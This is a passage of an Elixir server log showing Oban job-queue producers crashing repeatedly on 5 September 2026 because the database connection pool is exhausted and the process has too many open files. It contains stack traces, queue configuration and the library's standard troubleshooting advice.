    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:05:30.239538Z], limit: 5, uuid: "e8d81d02-b30c-4344-9f2f-d44da0461c3f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:30.239544Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106515>, refresh_timer: #Reference<0.2525715032.1077411843.235754>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:05:30.241333Z], limit: 3, uuid: "b7fb980e-8b81-4b38-8767-a870d62fe4bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:30.241338Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235806>, refresh_timer: #Reference<0.2525715032.1077411843.235760>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:05:30.240474Z], limit: 10, uuid: "e6db6788-47de-4982-968f-555e537b8a94", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:30.240480Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106514>, refresh_timer: #Reference<0.2525715032.1077411843.235757>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:05:30.252283Z], limit: 20, uuid: "7cf18e75-1a6b-4465-a559-ac55a6ae2b1c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:30.252289Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235804>, refresh_timer: #Reference<0.2525715032.1077411843.235799>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:42.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:05:30.248654Z], limit: 5, uuid: "f96bcbcf-429a-4153-b0ad-34e8ccb30ee1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:30.248665Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235805>, refresh_timer: #Reference<0.2525715032.1077411843.235751>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:44.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:49.504000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:49.683000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:51.043000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:51.664000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:52.963000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:54.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:05:42.239379Z], limit: 3, uuid: "bc13c4e5-400f-4d82-95d8-c18c281b56ad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:42.239397Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235969>, refresh_timer: #Reference<0.2525715032.1077411843.235920>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:05:42.239201Z], limit: 5, uuid: "b9bd94f3-9ddd-4488-9307-e26f450f8f71", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:42.239208Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106765>, refresh_timer: #Reference<0.2525715032.1077411843.235912>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:05:42.237658Z], limit: 50, uuid: "44177a99-9a17-410d-9388-4f7e08261547", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:42.237667Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106764>, refresh_timer: #Reference<0.2525715032.1099431938.1530>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:05:42.241594Z], limit: 5, uuid: "3759b8e7-7d67-44ce-8f38-c5d863e50587", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:42.241599Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106766>, refresh_timer: #Reference<0.2525715032.1068236804.252050>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
